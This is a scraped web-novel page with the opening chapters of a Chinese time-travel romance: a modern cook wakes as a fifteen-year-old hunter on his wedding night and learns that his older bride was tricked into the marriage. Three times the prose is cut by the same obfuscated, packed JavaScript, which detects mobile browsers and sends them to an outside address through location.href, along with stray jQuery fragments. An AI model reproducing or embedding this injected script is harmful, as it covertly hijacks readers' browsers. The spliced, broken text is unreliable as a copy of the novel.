《穿回古代种田做饭宠夫郎》 1. 成婚夜被匕首威胁啊 长明村,燕程春家。 红纸落地,鞭炮声灭,一场朴素的成亲仪式刚刚结束。 宾客离席,仅剩几位长辈正在门口叮嘱今日成亲的主人公燕程春小郎君。 “春小子,都成亲了,就好好过日子。” 村长为了参加燕程春的成亲礼,今日特意穿了崭新的衣裳,现在他拍拍燕程春的肩膀,嘱咐他不能因为自个儿夫郎大他十岁就看轻了人家。 “人家一个二十好几的大人,愿意嫁给你这没长大的皮小子,很不错,很不错啊。” 村长看着燕程春稚嫩的脸庞,一片感慨:没想到春小子十五岁就成亲了,虽然夫郎年纪大他不少,但正好可以和年纪小的春小子有个帮衬,也不失为一段好姻缘! “村长放心,我会好好待他的。” 燕程春乖巧扮演一个十五岁的少年,笑得眉眼弯弯。 他送走絮絮叨叨的村长和长辈们,这才靠在粗糙的门板上长舒一口气,无力感瞬间席卷全身。 半小时前他燕程春还是一个现代人,在自己的厨房里研究新菜,半小时后就因为熬夜猝死来到了这个陌生的朝代,成为了一个陌生的古代人。 被他上身的原主没有昏迷,没有受伤,只是一眨眼,一个呼吸间,他就变成了现在的‘燕程春’。 太荒谬了,荒谬到没有逻辑可言。 燕程春揉揉额头,现在容不得他休息,他身后,一门之隔,还有一个没有处理的大麻烦。 燕程春推开门,房间内是古色古香的农家装扮。 这座普通的土房上挂着几块红绸布,窗户与墙面还贴着一个大大的‘囍’字,另一边的床炕则铺着新造的大红被褥。 这是一间婚房。 此时的燕程春,穿着最常见的古代民间婚服,瓷白里衣打底,外套鲜红宽袖大袍,袖边还有邻居阿婶绣的鸳鸯花纹。 他在成亲。 只是燕程春并没有寻常新郎那样在享受洞房花烛夜——他的新婚妻……新婚夫郎,正躲在床炕上,用一根尖锐的发簪对着自己的脖子。 看到燕程春进门,这位新婚夫郎握着发簪又往前进了一寸。 “莫动,不然我立刻死在这里!” 新婚夫郎目光灼灼地看着燕程春,容颜璀璨,黑发如瀑,还穿着大红的嫁衣,整个人仿佛一团正在燃烧的火苗。 燕程春被这团火烧得有些头晕,眼见那人的脖颈已经被划出浅浅的血线,他更头疼了,“你先把发簪放下来。我于你没有威胁,反倒是你现在要是出了事,明天我就要被官府抓起来了。” 姜幸想到燕程春被关起来的样子,心下有些不忍心,但想到自己的情况,又把那点心软压下。 人为财死鸟为食亡,如今的境地,容不得他像以前那样心善了。 “你不要过来!”姜幸凌目看着燕程春,不让燕程春靠近一分。 他抿唇,若是可以,他也不想做这等用自己威胁别人的事情,只是……他也不想胡乱成为小少年的‘老妻’! 燕程春怎么说也说不动姜幸,气氛一下陷入焦灼。 燕程春目前所在的地方,确实是一个古代时代,名叫大昭。 大昭不属于他熟知的任何一个朝代,是一个被历史遗忘的朝代。 燕程春上辈子父母离异,双方都不要他,他便被姥姥和姥爷养大,在长辈们去世后,接手他们留下的美食手札,从小独立,独自闯荡。 十八岁那年,他在成人之际参加一档世界级的美食比赛,却惨遭评委羞辱,事后他把自己锁在厨房日以继夜地钻研厨艺,没成想最后因为多次熬夜最后猝死穿越,来到同名同姓的‘燕程春’身体里。 而原身,正在成婚。 所以现在用发簪威胁他的人不是别人,正是和原身拜过天地的新婚妻子,姜幸。 结为姻缘本是一件喜事,身为猎户的原身,一心想给未过门的夫郎最好的一切,可没想到刚掀开盖头就被怒目的姜幸打了一巴掌,继而被赶了出去。 姜幸这个哥儿……并不想嫁给原来的原身。 “姜家与我说的亲事是三条街外的香客来酒楼的少东家。我到底为何嫁到了你这里,你又是如何将我掳来的?”姜幸咬着下唇,想问个明白。 “你先将发簪拿开。”燕程春指指脖子上的发簪,心中冷笑,面上却装作一派担忧之色,端的是人模人样,“大婚之夜手里还握着如此尖锐的发簪,即便是香客来的少东家,应该也无福消受吧?” “……你不懂我。”姜幸深知自己的身份是个哥儿,现在已经嫁给了对方,哪怕对方现在年纪不大,可他要做些不轨之事,自己之后也是无处可诉冤的。 燕程春看出姜幸的担心,哭笑不得,“我如今只有十五岁,于你有什么威胁?” 是的,原身虽然是猎户,但只有十五岁。 十五岁的年纪,有没有那个能力都不一定! “你是个男人……与我不同。”姜幸瞪了燕程春一眼,他是个哥儿,自然要担心自己的安危问题,眼前的小相公虽然只有十五岁,可他从小就在山林狩猎,那般大力气和高敏捷…… 燕程春揉揉额角,他知道姜幸的意思,大昭除了男人女人,还有个哥儿性别,虽是男儿身,却能孕育子嗣。 所以男女大防之外,男人和哥儿也要保持距离。 自然,女人和哥儿也要保持距离,毕竟哥儿和男人只有生育能力的区别。 “你放心,我对你没兴趣。” 燕程春的声音冷冷如珠玉,黑白分明的眼睛里透着真诚。 他穿越之前才十八岁,一心扑在继承上,情窦未开,虽然现在换了个身份,但也不会变成姜幸幻想中的禽兽。 “……”姜幸明明白白被十五岁的小相公表示自己不讨人喜欢,明媚的脸上染上羞恼的红晕,心里却是安定许多。 他慢腾腾挪开发簪,之前抬手时间太长,他都累死了。 燕程春发现姜幸有软和的迹象,他看过原主的记忆,连忙又解释,“我只是想和你说个明白,并非是我掳了你,也不是我抢亲。姜小哥,你的婚事……应当是被人骗了。” 燕程春站在原地,三下五除二将之前的事情告诉姜幸。 原主年纪小,却是个猎户,常年为福源酒楼送野味,与福源酒楼的大管家颇为熟悉,这门亲事便是福源酒楼的大管家介绍的。 大管家说他亲戚家有一哥儿,年纪颇大,还未成亲,家里着急得很,病急乱投医下就来问原主有没有成亲。 原主父母双亡,极度渴望家庭,可他也不傻,担心大龄还未出嫁的小哥儿是不是有什么隐患。 大管家却说小哥儿性格懒,还有些娇气,不爱劳作,就一张脸十分好看。 虽然小哥儿不是个坏心眼的,可他们都是小门小户的,娶一个漂亮却不会劳作的夫郎有什么用啊,这就导致小哥儿一直没嫁出去。 诶,偏偏这一点,是原主最不在意的。 原主的亲生父亲是当兵的,从小便教他武艺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583524|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来战乱四起,父母出事皆亡,他五岁那年与逃难的流民一起来到长明村落户,随后便跟着村子里的长辈一起上山打猎。 十年过去,原主没有田地,家境并没有多富裕,但也不会饿着。 原主平时不声不响,物欲不高也没有修缮过家里的土房子,众人就都以为他是无父无母的穷苦孩子。 于姻亲一事,原主不要求自己未来的夫郎或者妻子有多么大的本事,只要妻子夫郎愿意和他组成一个小家,他便满足了。 原主觉得自己年纪尚轻,又有一把子力气,养活一个妻子夫郎足够,所以在跟着大管家相看过那个漂亮却懒惰的小哥儿之后,同意了这门亲事。 燕程春讲完一切后,感慨道:“他……我是说我,虽未与夫郎相处过,但我是真心求娶。在定下日子后便置备了许多新婚要用的东西,还与邻居亲朋讨了好些过日子的经验,就希望夫郎过门后能过得舒心。” 原主并不知道他要娶的是谁,他和大管家介绍的那个‘小哥儿’也只远远见过一次,连模样都没看清,只是原主太渴望有一个夫郎了,所以在知道要成亲后,便把那个幻想中的夫郎放进了心中,细心地为他准备一切。 姜幸怔怔地听燕程春的解释,手里攥着自己的嫁衣,不停绞动。 他身下压着的是新款的锦被,上面还绣着寓意十分好的花样,一看便是刚做的,周围土房虽然简陋,可并没有漏风和破损处,他的炕边小桌上还摆着一束嫩黄色的小野花,被风吹着摇摇晃晃,十分可爱。 这一切的一切都足以证明,他真的想岔了……老天爷啊,他刚刚还打了自己的‘相公’一巴掌,即便燕程春是个好脾气的汉子,被新婚夫郎如此羞辱,他还能讨得好吗? 姜幸顿时有些不知所措,不知道该如何面燕程春。 他明亮的眼睛蓄起水雾,又小心翼翼地看向燕程春的脸颊,含羞带悔,“对……对不住,方才还打了你一巴掌。可还疼?” “嘶——”燕程春摸摸自己的脸,打的是原主,可现在承伤的是本人……荒唐! 不过这点小伤却不是什么大问题,“不碍事。” 燕程春虽然只有十五岁,但体态修长,俊俏灵动,若是没有脸上的红印子,当是一个十分出彩的少年。 姜幸在身上摸来摸去,最后从腰封中摸到一个瓷瓶,从中抠了一点在指尖捻开,一瘸一拐来到燕程春面前,握住燕程春的手腕,将指尖的药膏轻轻抹到燕程春挨打的侧脸,黑色眼眸中尽是认真,“方才是我太紧张了,实在对不住。” “这药膏是我从家中带来的,是治愈伤痕的良药,明儿就会消下去了。” 燕程春年纪小,发育也慢,现在并不如姜幸高,姜幸便低着头为燕程春抹药。 燕程春嗅着姜幸身上的花香味,鼻尖发痒。 姜幸的药膏冰冰凉凉,涂着十分舒服,他没有拒绝,只闷声问道:“你的腿怎么回事……真的瘸了?先天的?” 刚才姜幸奔过来的时候就一瘸一拐的,莫不成真是个瘸子? “之前酒楼重新修缮,我被掉落的铁锤砸伤了腿。不碍事的。”姜幸在紧张情绪缓解后,终于意识到他与燕程春之间的差距,燕程春是男人不假,可他只有十五岁,而自己却已经二十有五,足足大这小相公十岁。 这……这分明就是兄弟的年纪,哪能做夫妻呢! 姜幸腹诽姜家的不靠谱,细心抹过燕程春脸上每一道红痕,务必要让药膏涂满所有角落,恢复燕程春的好容颜。 2. 事已至此,吃个面吧 “成亲之前伤了腿?”燕程春冷漠嗤笑,“你忘记了?我是个猎户,家中无父无母,你瘸着腿嫁与我,不仅不能帮扶家里,我还要额外照顾你。时间一长,焉能对你有好脸色?” 原主是个猎户,就算再怎么渴望家庭,若是夫郎瘸腿,也要掂量掂量。 姜幸一个瘸腿嫁过来,行动不便的情况下肯定要成为原主的拖累,他本身就肩不能提手不能扛,再加上瘸腿,原主再好的脾气也不一定能坚持多久。 “……”姜幸想到燕程春说的那种可能,他一个小哥儿,若是夫家不喜,定是不能得好,面色又开始发白。 “好了好了。” 燕程春感觉自己脸上被涂了厚厚一层药膏,黏腻的要命,忍不住抓住姜幸的手,让他停下来。 姜幸的皮肤滑腻如玉,一看便知是从小不干活养大的,燕程春的双手却因为从小劳作和握弓箭,留下厚厚一层老茧。 粗糙的老茧撞上如锦缎的葱指,姜幸下意识摩擦了两下,指尖有些被粗粝磨伤的感觉。 燕程春没谈过恋爱,也没有和谁有过亲密接触,姜幸的举动,让他全身起了鸡皮疙瘩。 “你做什么!” 他猛地往后一撤,拉开与姜幸的危险距离,黑白分明的眼睛定定看着姜幸。 “我在给你抹药啊。”姜幸看燕程春长得好,忍不住刮了刮燕程春抹药的脸庞,温软笑道,“燕小郎君如此好颜色,要是因为我留下伤痕,那我可要一头撞死了。” “你是个哥儿。”燕程春皱眉,“刚才不还担心我对你行不轨之事?现在竟然……竟然帮我抹药?” 这么快就转变心态,这哥儿心也太大了吧。 “可郎君才十五岁。”姜幸捂着嘴角偷笑,娇态憨憨,再次道歉,“对不住对不住,方才是我太紧张了,不应该那样揣测你的,实在对不住。” “……”燕程春觉得诡异,对方在道歉,他没有被当成登徒子,应该高兴才是。 可姜幸这态度,分明是觉得他是个小孩,是在说他那方面不行啊,现在是说他行不是,说他不行也不是……真是懊恼。 “罢了,你还是与我说说你的事情吧。”燕程春决定还是先搞清楚他们俩的婚事。 姜幸:“我——” 不知是谁的肚子响了一声,在这空旷的喜房中分外惹人在意。 姜幸抿唇,红着脸恶人先告状,“不是我。” “……”燕程春挑眉,明明就是这个小哥儿饿了,饿了就饿了,这是什么丢人的事儿么? 姜幸咬着下唇,心思简单的很:他刚和这人闹了一场,现在肚子咕咕叫,岂不是让这人看笑话,这让他嫡少爷的面子往哪搁? 燕程春摸摸肚子,原身闹了那一场其实也有点饿了,人饿了思考能力就会下降,还是先填饱肚子再说。 “闹腾了一夜,我饿了。” 说罢,便往灶房走去。 燕程春点上火烛,借着光看到灶房所有需要的东西都一应俱全。 原身虽然年仅十五岁,却是真的想要娶妻,所以提前置办了许多婚后要用的东西,想和心上人安安稳稳地过日子,现在这些东西倒是便宜燕程春了。 时下是刚刚入夏的深夜,燕程春脱掉身上的宽袖大袍,里面是窄袖里衣和绑腿窄裤,有些不雅,但不会让袖子沾染油烟。 燕程春推开老旧的窗户,从窗户下面摸出来四个鸡蛋。 原主准备的东西很多,但夜已深了也不用开大火,燕程春觉得,随便炒个鸡蛋下碗面便是。 燕程春准备好杂面面粉,准备好鸡蛋,从满当当的水缸里舀出一瓢水,甘甜清冽的清水被倒入杂面面粉,在燕程春几下揉弄中,变成一个有劲道的面团,他将面团放好,等醒发的时候去点火烧热灶台上的锅子。 他上辈子会走路时就会抡锅铲,做个清水面对他来说小菜一碟。 面团醒好后,他用擀面杖碾成许多薄片,再切成细细的面条,一款简单版的手切面便成型了。 锅烧热,燕程春将做好的面条扔进去,在等面条煮熟的时候,他打散先前摸出来的鸡蛋,又在其中加入一缕盐和野菜碎,将鸡蛋和野菜碎搅到一起,等面条煮好了,他盛出来,倒入一层清油,拨弄两下鸡蛋,一盘更简易的野菜鸡蛋浇头就这样做出来。 原主虽然是猎户,但家境一般,小院里的灶房就在卧房旁边,鸡蛋的油香气顺着夜晚的柔风缓缓被送到卧房里,姜幸动动鼻尖,感觉自己更饿了。 燕程春去了灶房,照理说,姜幸如果不想嫁人,他现在就可以逃跑。 可是天大地大,他已经和燕程春登记在册,又能跑去哪里? 燕程春端着两碗面进屋的时候,就看到姜幸抱着自己的嫁衣大袖,像个小傻子似的坐在床上。 “给你做了一碗,过来吃饭。” 燕程春把碗筷放到桌子上,自己坐在一边,软乎乎的面条下肚,瞬间缓解了紧张的神情。 燕程春品着,感觉比自己之前做的还好吃,莫不是因为古代的东西没有添加剂,所以更原汁原味? 不过按照他家的食谱,这里还缺一味独家酱汁搭配,可惜了。 姜幸从小被伺候惯了,没觉得燕程春为他准备吃食有什么奇怪的,他捂着肚子,穿着宽大的嫁衣,一瘸一拐走过来,刚坐下就猛塞一口,顿时就被这碗鸡蛋面俘虏。 他不可置信地咀嚼着,“好劲道的面条,好香的鸡蛋卤。” 姜幸用筷子夹起面条仔细观察,面条根根分明,长短一致,宽窄一致,厚薄一致,可以说在形上完美无缺,放在嘴里后面香浓郁,劲道弹牙,面条上裹着的野菜鸡蛋更是鲜香无比,余韵悠长。 分明就是再简单不过的鸡蛋面,可为什么这样好吃? 这样一个小山村里,竟然还有小相公这样的食业高手?! “好香……”姜幸狼吞虎咽吃下一大碗面条,可越吃心里越难受,眼泪悄不做声地从眼眶中流出,滴落到桌面上。 燕程春怎么也没想到姜幸吃一碗面竟然吃哭了,他讶异道:“你还好么?怎么哭成这样。” 他生平第一次接触小哥儿这类性别,难道小哥儿都这么多愁善感,爱大幅度的情绪波动? 姜幸已经哭成‘猪头’,他胡乱抹掉脸上的眼泪,因为嘴里还塞着面条,只能语焉不详地说:“我娘以前就喜欢这么做面条,我每次都能吃好多好多……可我,可我已经一年没有吃到我娘做的面条了。” 他娘做面条的时候,总会单独为他加一份独家酱汁。 他真的好爱好爱娘亲,好爱好爱娘亲加了独家酱汁的面条。 可他的娘亲,竟然已经离开他一年时光了,只有他一人还在这世间,在姜家,受人生磋磨。 燕程春没想到自己做的面条,竟然有姜幸母亲的味道,他想到姥姥姥爷去世后,自己做的第一顿饭。 那顿饭用的都是姥姥姥爷生前特意为他留下的食材,吃下第一口,他也在上面吃到了姥姥姥爷的味道。 恍惚间,旧人好像仍在,时间也未曾远走。 可时光终究没有回溯的可能。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583525|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“莫哭了。”燕程春看着这样的姜幸,忍不住心软,用衣袖擦去他脸上的泪痕,“等我们解决婚事,你回去再找你娘吃她个十碗八碗。” “……”姜幸抽噎了一下,哭得鼻头泛红,眼眶泛红。 美人垂泪。 姜幸本就明媚漂亮的一张脸,现在更像一道樱桃奶冻,白皙甜香的奶冻里裹着烂熟的樱桃,散发着白里透红的莹润感。 燕程春必须承认,姜幸真是有一副好模样,哭笑皆美得惊艳。 姜幸缓好自己的情绪后,咬着嫣红的下唇说:“我……原先就是福源酒楼的少东家,我定的亲事……是香客来酒楼的少东家,我与他从小相识,我原以为……原以为……” “今日我不知怎的,昏昏沉沉,刚上了轿子便睡着了,再醒过来时我盖着盖头,看不清周围的模样,扶着我的喜娘说吉时已到,我便稀里糊涂拜了堂,直到你揭开我的盖头,我才发现,我竟嫁给了一个我从未见过的人。” 姜幸说到这里,十分酸苦,不认识也便罢了,面前这位小相公只有十五年龄,可他已经二十有五了,整整十岁的差距,少夫老妻,让他如何自处。 燕程春屈指敲了敲桌子,思索片刻,“也就是说,你我的婚事搞错了。” 这可麻烦了,他们已经拜了堂,那香客来的少东家一听便是个少爷,在这样封建的古代,他还会接受姜幸吗? “……”姜幸没有那么乐观,他想到一种可能,心里渐渐发冷。 燕程春只以为他们的婚事是搞错了,可他却觉得,他是被故意送到燕程春这里来的,什么香客来酒楼的少东家,现在的姜家,根本不可能会让他有这么好的亲事! “怎么?还有别的事?”燕程春本以为这样就是真相,可面前的姜幸兀自咬着下唇肆虐,让一双嫣红的唇瓣红肿不堪,一看便是还有内情。 姜幸深呼吸,现在已然到了这个地步,再藏着掖着也没意义了,而且这个燕程春,不像那等不讲理之人,或许……坦诚一些,会更好。 “我……”姜幸又开始咬下唇,似是察觉不到痛似的,任由牙齿反复磨过柔软的唇瓣,仿佛自虐。 “我父母是省府姜家的庶子,后来单独开府,在镇子上开了福源酒楼。半年前遇到了山匪,不幸去世。我大伯接管了福源酒楼和姜家,大伯此人与我从未接触过,所以也没什么情谊可言。” 燕程春愣了,“你娘……” 竟然已经去世了? “嗯。”姜幸点点头,“已经去世一年了。” 所以他再也吃不到娘亲做的面条了。 别说燕程春不知道姜幸的情况了,原主都不知道,他方才还说让姜幸回去找他娘,实在是……“对不住。” “无碍,你又不知情。”姜幸笑笑,继续说他家的情况。 姜幸父母是从姜家大族独立出来的一支,当年姜父与姜母自由恋爱,但姜母家境不好,姜家族里不同意,姜父便自请独支,和姜母不上族谱,单开一族。 姜母虽然家境不好,但做得一手好菜,而且姜母家中就是做吃食的,靠着姜母的菜谱,姜父姜母创立了福源酒楼,且生育了姜幸。 姜幸是个被宠大的哥儿,会做饭,却不精通,若是父母没有出事,他大可以继续做他不食人间烟火的少东家。 只是姜父姜母遇到山匪,双双遇难,他一个哥儿独木难支,姜家大伯赶来帮他处理丧事,稳定了局面,然后顺手窃取了福源酒楼的大权。 姜幸无力对抗,只能守着父母留给他的小玩意,变成姜家的透明人。 3. 原来是个惨夫郎 但姜幸也不是完全没脑子的小哥儿,他知道目前的情况应当早日脱离姜家,他便找到了曾经的友人,也就是香客来的少东家,商量着助他离开姜家。 香客来少东家提议用假成亲骗过姜家,离开姜家后,海阔天空,姜幸去哪都可以。 姜幸同意,却没想到花轿最后把他送到了燕程春这里。 姜幸移开目光,白皙的脸面好像覆上一层红红的果浆,再次诚恳致歉,“所以掀开盖头时,我一时情急,误以为你是家中派来劫婚的登徒子……对不住。” 燕程春也算饱览各种狗血小说的书虫,听到这里,他大致明白了其中缘由。 “我就说么,我不过十五岁的村汉子,有什么值得被福源酒楼的大管家看上的。”燕程春想到原主的兴奋和感动,忍不住自嘲,为原主可惜,“那大管家与你那姜家估计是一伙的,先是诓骗我娶妻,后又以香客来少东家的婚事骗你自愿出嫁,这样就可以免去落人一个苛待哥儿的口实。” “然后在你出嫁路上,偷梁换柱。最后就变成你我拜堂。” 姜家大概以为原主家中无父无母,又无田地,真就是一个家境贫寒的村汉,觉得姜幸若是嫁过来,一定会过得十分凄苦。 可惜了,他们没有打听好原主的人品。 在燕程春看来,原主人品堪称上佳,即使他没有穿越,原主也不会做强迫姜幸的事情。 “应当是如此。”姜幸再蠢笨也明白过来,自己被友人骗了,心中愈发酸苦。 若只是被姜家陷害,他早已习惯,可如今又被友人背叛……他面上渐渐褪去血色,形容凄惨哀怨,不明白为何相识多年的友人会如此待他。 燕程春还有些不解,“听你说,你们姜家应当是一个大家族,你那大伯为何一定要你家的福源酒楼?” 从原主的记忆中看,福源酒楼虽然生意好,可也只是一个小镇子上的酒楼,姜家如果是一个大家族,为什么这么在意一家小小的酒楼? 姜幸撑着下巴叹气,黝黑的眼睛清凌凌地看向燕程春,“是因为陛下。” 提到陛下的时候,姜幸消去声音,对着皇城根的方向拜了拜,燕程春瞬间领悟他的意思。 “再有两年就是老太后的七十大寿,那位想办一个漂亮的老君万寿宴,从两年前便开始搜罗天下厨师和秘方,谁若能献上,那便是得了帝王青眼。” “因着陛下这番行为,民间也开始兴起食业之道。” “姜家有不少儿郎都想入仕,姜家便想借此机会攀上一个好途径,他们想到我母亲的家传秘方,便来索要,只是家中父母不愿意掺和这种事情,多次婉拒。” “天下有才之士如过江之鲫,你那母亲……姜夫人的秘方,为何就一定可以?”燕程春问道。 姜幸叹气,“之前几年频频有动乱起义,不论是食业,技业,都有不少大师殒命于战乱中,各家传承都断了代。现在即便有活下来的师父,现在也鲜少愿意与皇家打交道。我母亲的做菜手艺是家传渊学,做出来的福源酒楼便是依靠菜色声名远播。目前是姜家最能掌控的一条路子。” “原来如此……匹夫无罪,怀璧其罪。”燕程春捏着一个杯子,想到自己现代家中的情况,神色莫名。 他家的厨艺技巧也是一代一代传承下来的,只是父母志不在此,就都没接下姥姥姥爷的东西。 于是从他接手开始,各方人士都看着他,想看他会不会埋没这份老祖宗的礼物。 现在所有事情都已经说开,他们二人也已经找到了错嫁的缘由,燕程春觉得不能坐以待毙,开始收拾碗筷,“天色不早了,先休息,明日我与你去镇上看看。” 他倒要看看这个姜家和香客来的少东家后续要做什么。 姜幸听到要去镇上,并没有很开心,他扭着袖子,看着上面的鸳鸯绣样,小心翼翼地看着燕程春,眼里写满忐忑不安,“……你……郎君是否要退婚?” 虽然他们的姻缘是月老搭错线的,可他们已经拜堂成亲。 在官府名册上他就是燕程春的妻,若是燕程春要退婚,他也没有劝说的资格……只是那样,自己就要做被人非议的小哥儿了。 燕程春最受不了被人哀求,他摸摸后颈,“你我的婚事……太荒唐了。” 虽然他们拜了堂,但是一个娶错了人,一个也嫁错了人,错乱的姻缘线有何要留下的理由? “……”姜幸似乎还要说话,可燕程春已经收拾好碗筷,打着哈欠分出两个被窝。 他咽下喉中的话,听话地与燕程春分被而眠。 燕程春累得慌,沾上枕头便睡着了。 姜幸心思散乱,无法入眠,他痛苦地抱着被子,哀怨无比。 他不明白上苍为什么这么不喜欢他,为何要让自己这样娇生惯养的小哥儿遭受这些,如今,他大概要因为这些纷乱的思绪,睁眼到天亮了。 第二日,燕程春因为原主的健康作息,被迫早醒。 一睁眼,就看到身旁的姜幸头埋在被子里,睡得脸色通红,好像还在打小呼噜,一看便是睡得喷香。 燕程春捏捏眉心,哭笑不得,这小哥儿确实心大,适应能力也强,在哪都能吃能睡。 燕程春看看时辰,现在应当是早上五点钟,原主这个时候都会起床去院子里锻炼,现在换成了燕程春,他决定保持下去,毕竟锻炼身体对他也好。 运动是最好的思考搭档,燕程春一边打拳一边思索自己日后的生活。 既来之则安之,原主送给他一副健康的体魄,还有舒适的生活环境,他不能辜负这份心意。 既然已经变成古代的燕程春了,继续上山打猎也好,重操旧业去酒楼做大厨也好,他怎么也能把日子过下去。 现在最大的难题就是屋里睡得像猪的姜幸。 一个嫁给他的小哥儿,身世还那般复杂,该怎么处理才好? 燕程春不是什么都不懂的人,虽然这门婚事有些乌龙,可姜幸是实实在在和原主拜过堂掀过盖头的,他既然要了原主的身体和生活,就不能随便撒手不管。 在这样封建的古代,一个‘离过婚’的小哥儿会有什么结果,他不用想也知道。 可若是留下姜幸…… 燕程春想着昨夜和姜幸的相处,觉得姜幸不是个坏人。 自己从小就住校,和一大帮子同学一块生活,留下姜幸无非就是家里多一双筷子。 和一个小哥儿过集体生活……应当也不会太别扭? 这点上,燕程春和原主态度一样,虽然他们年纪小,但都自觉能撑起一个家。 只是这样的话,姜幸这个小哥儿便真的成了他名义上的妻。 他担心在这个时代,一旦身份被束缚住,日后要做什么都不方便。 不过他想这么多也没用,留或不留,这等事应该让姜幸自己做决定才是。 燕程春在院子里想着原主的锻炼方式,再辅以现代的健身体操,狠狠出了一把子汗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583526|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 古代没有淋浴设备,原主要洗澡就在院中用一瓢水冲刷自己的身体,燕程春看着这幕天席地的,有些羞涩,但往后他就要在此生活,还是得习惯。 燕程春脱了上衣,露出原主精壮的身体,一瓢凉水浇到身上,瞬间凉得燕程春龇牙咧嘴,这古代凉水澡,不好洗啊! 燕程春穿好衣服,又去灶房。 天明了,他才借着清晨的明亮看清整个灶房的构造,整个房间很像他记忆中姥姥姥爷的农村灶房,墙面上逗挂着一些已经风干好的肉,旁边有一个菜筐,放着许多买好的蔬菜瓜果。 燕程春摸摸自己的脸,原主虽然年纪小,却很认真的在经营自己的生活,是个很好很好的孩子。 他的穿越并不建立在原主出事的基础上,如果有可能的话,燕程春衷心希望原主能有新的际遇。 原主不仅买了蔬菜瓜果,还有一些被保存起来的面饼子。 面饼子都是最基础的面饼子,除了面没有别的东西,但这样吃起来方便,想来是准备带去上山的干粮。 燕程春掏了四个面饼出来,用刀从中割开,用来做古代版鸡蛋夹馍的馍。 昨夜留下的鸡蛋卤还有一些,燕程春点火加热,又重新炒了一遍,炒入味以后直接放到劈开的面饼中。 主食有了以后,燕程春又捡了几根青菜,辅以鸡蛋做了一锅清蔬鸡蛋汤。 在等汤熬熟的时候,燕程春去院中做了个人清洗。 而这时,屋内的姜幸也幽幽转醒,他看着熟悉的屋顶,非常不可置信。 昨夜他明明在哀婉流泪,心痛自己的坎坷经历,如此痛彻心扉的心境,他应该睁眼流泪到天亮才是,可事实上,他还没多想一刻钟,他就已经昏睡过去,直至现在才醒。 …… 现在才醒。 姜幸猛然坐起来,外面天光大亮,透过窗户看去,院中还有一个挺拔的身影在舀水梳洗,而燕程春的被窝,早就被他收拢好放入柜中。 姜幸来不及换衣服,只着寝衣的情况下,披着昨夜脱下来的喜服大袍,散着一头如瀑青丝急急忙忙朝外奔去,眼中急切仿若要哭出来似的,自己这是睡了多久啊,自己怎么能刚嫁人就睡得像猪一样呢,若是遭了燕程春嫌弃,他该如何做! 燕程春一转身,便瞧见姜幸向他跑来,小哥儿步伐迈得大,两侧衣袖被他甩的飞起,像那振翅而非的蝴蝶。 燕程春感觉姜幸是朝自己来的,他连忙向旁边一避,果然避开了姜幸。 “相……燕程……燕小郎君,对、对不住,我起晚了……”姜幸并不知道一个新嫁夫郎该做什么,他只想赶紧站到燕程春身旁去,好让燕程春知道,他不是那等睡到日上三竿的坏哥儿。 燕程春歪头不解,“你跑这么快做什么,打算把我撞死,谋杀亲夫?” “我,我睡过头了,郎君,对不住。”从卧房到院中不过几步路,但姜幸还是气喘吁吁,不知是跑得还是紧张得。 “这有什么?”燕程春眨眨眼,“你知道大管家和我说亲的时候,是怎么形容你的吗?我早就做好心理准备了。” 姜幸愣住了,“他怎么、怎么说的?” 燕程春摇摇手指,憋不住笑说,“他说你又懒又馋,什么都不会,什么都没有。” “什么!”极度好面子的姜幸好像被人踩了尾巴一样,脸色瞬间涨得血红,气愤道,“他这是诋毁!” “我明明……我明明还有一张好容颜在呢!” 4. 心跳的声音 “哈哈。他也讲了,他说你长得顶好顶好。”燕程春没有再继续逗弄姜幸,而是顺手帮姜幸准备好洗漱的东西。 以前住宿舍的时候,他常常这样照顾他的舍友,已成习惯。 燕程春把东西递给姜幸,抬眼看姜幸的面庞,再次认真地认证大管家的审美,“嗯,确实好看。” 他上辈子鲜少见到这样好颜色的男生,没想到原主误打误撞还娶了个漂亮媳妇呢。 “……”姜幸摸摸自己的脸颊,被人夸长得好,实在让他难掩欣喜。 这位小相公的眼光太清明,里面不含一点玩弄之意,就更让他高兴了。 燕程春去灶房端了早食出来,姜幸便留在井边洗漱。 院中一口井,便是原主家的水源,姜幸站在井边,这里有燕程春已经打好的一桶水,他借着这些水理顺了自己的头发,又洗了脸。 姜幸拆解头发时拆下来一些珠钗发簪,他看着手里做工精致的发簪和珠钗,目光深沉晦涩。 这是他出嫁时姜家准备的东西,现在……他转身看看周围低矮的土墙和看不到边际的田野庄家,应当是用不到了吧。 姜幸默默把这些惹眼的东西收起来。 燕程春再看到姜幸的时候,就是一副美人不施粉黛的模样。 